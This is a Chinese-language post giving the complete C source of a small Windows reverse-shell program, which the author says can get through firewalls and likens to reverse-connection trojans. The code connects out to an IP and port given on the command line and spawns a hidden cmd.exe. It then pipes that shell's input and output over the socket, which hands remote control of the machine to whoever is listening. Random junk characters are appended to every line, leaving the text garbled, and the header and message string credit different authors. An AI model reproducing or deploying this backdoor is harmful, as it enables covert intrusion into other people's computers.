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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 W-Vc6cq  
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/* ============================== DsD? &:  
Rebound port in Windows NT >"|t*k S  
By wind,2006/7 RCxwiZaf33  
===============================*/ 2JcP4!RD  
#include Cud!JpL  
#include D*?LcxX  
8G9( )UF.  
#pragma comment(lib,"wsock32.lib") b`,Sd.2=('  
};EB  
void OutputShell(); [Fv,`*/sm  
SOCKET sClient; kHhku!CH  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; z|Yt|W  
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void main(int argc,char **argv) 6Z2|j~  
{ <h}x7y?  
WSADATA stWsaData; bd% M.,  
int nRet; ~C>Q+tR8  
SOCKADDR_IN stSaiClient,stSaiServer; Dl AwB1Ak  
vts"  
if(argc != 3)  -T-yt2h(  
{ }gB^C3b6  
printf("Useage:\n\rRebound DestIP DestPort\n"); :i@ $s/  
return; 25 :vc0  
} \pTv;(  
o_[~{@RoR  
WSAStartup(MAKEWORD(2,2),&stWsaData); W}}ZP];  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s0/m qZ]s  
}[MkJ21!  
stSaiClient.sin_family = AF_INET; %}Y&qT?  
stSaiClient.sin_port = htons(0); _#+l?\u  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); w^YXnLLJG  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) i[{*(Y$L  
{ +7n vy^m  
printf("Bind Socket Failed!\n"); SW+;%+`  
return; 8Q{9AoQ3'  
} ~ Fl\c-  
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stSaiServer.sin_family = AF_INET; jO|`aUY Tf  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?i\V^3S n$  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); TcJJ"[0  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) m qUDve(  
{ Br&&#  
printf("Connect Error!"); x!pd50-   
return; Gl45HyY_  
} Cw kQhj?  
OutputShell(); X*d!A >s  
} !W0JT#0  
A&%7Z^Pp  
void OutputShell() S1'?"zAmd  
{ ) =x4+)9  
char szBuff[1024]; 3webAaO  
SECURITY_ATTRIBUTES stSecurityAttributes; Zy:q)'D=  
OSVERSIONINFO stOsversionInfo; sCQV-%9  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; DRXUQH  
STARTUPINFO stStartupInfo; /Dt:4{aTOC  
char *szShell; es.Y  
PROCESS_INFORMATION stProcessInformation; d7zZ~n  
unsigned long lBytesRead; Z("N *`VP;  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Fl{~#]  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); P *PJ  
stSecurityAttributes.lpSecurityDescriptor = 0; 2bw.mp&v1  
stSecurityAttributes.bInheritHandle = TRUE; '.S02=/  
T('rM :)/  
f(!cz,y^\*  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?@`5^7*  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); RF4B ]Gqd  
-HuIz6  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .Zs.O/  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [)I W9E v  
stStartupInfo.wShowWindow = SW_HIDE; YZnFU( j  
stStartupInfo.hStdInput = hReadPipe; $M4_"!  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; T%Zfo7  
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GetVersionEx(&stOsversionInfo); K>XZrt  
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switch(stOsversionInfo.dwPlatformId) ^( 7l!  
{ HxL uJ  
case 1: ~G6xk/+n-m  
szShell = "command.com"; L5 Ai  
break;  dBN:  
default: ]_|%!/_  
szShell = "cmd.exe"; oq1wU@n  
break; $ >].;y?$  
} a_b+RMy  
_ |HA\!  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 78?{;iNv  
u3 &# UN  
send(sClient,szMsg,77,0); =i7CF3  
while(1) q1r-xsjV=  
{ dI=&gz  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I {%( G(  
if(lBytesRead) 4@a/k[,  
{ 0XyPG  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); $!z.[GL  
send(sClient,szBuff,lBytesRead,0); JV/:QV  
} 4wa3$Pk  
else XQ}7.u!  
{ L"jjD:  
lBytesRead=recv(sClient,szBuff,1024,0); "tpD ->  
if(lBytesRead<=0) break; h_\W7xt  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); _ph1( !H$  
} 4`RZ&w;1H2  
} !I91kJt7  
*Id[6Z  
return; } z7yS.{  
}
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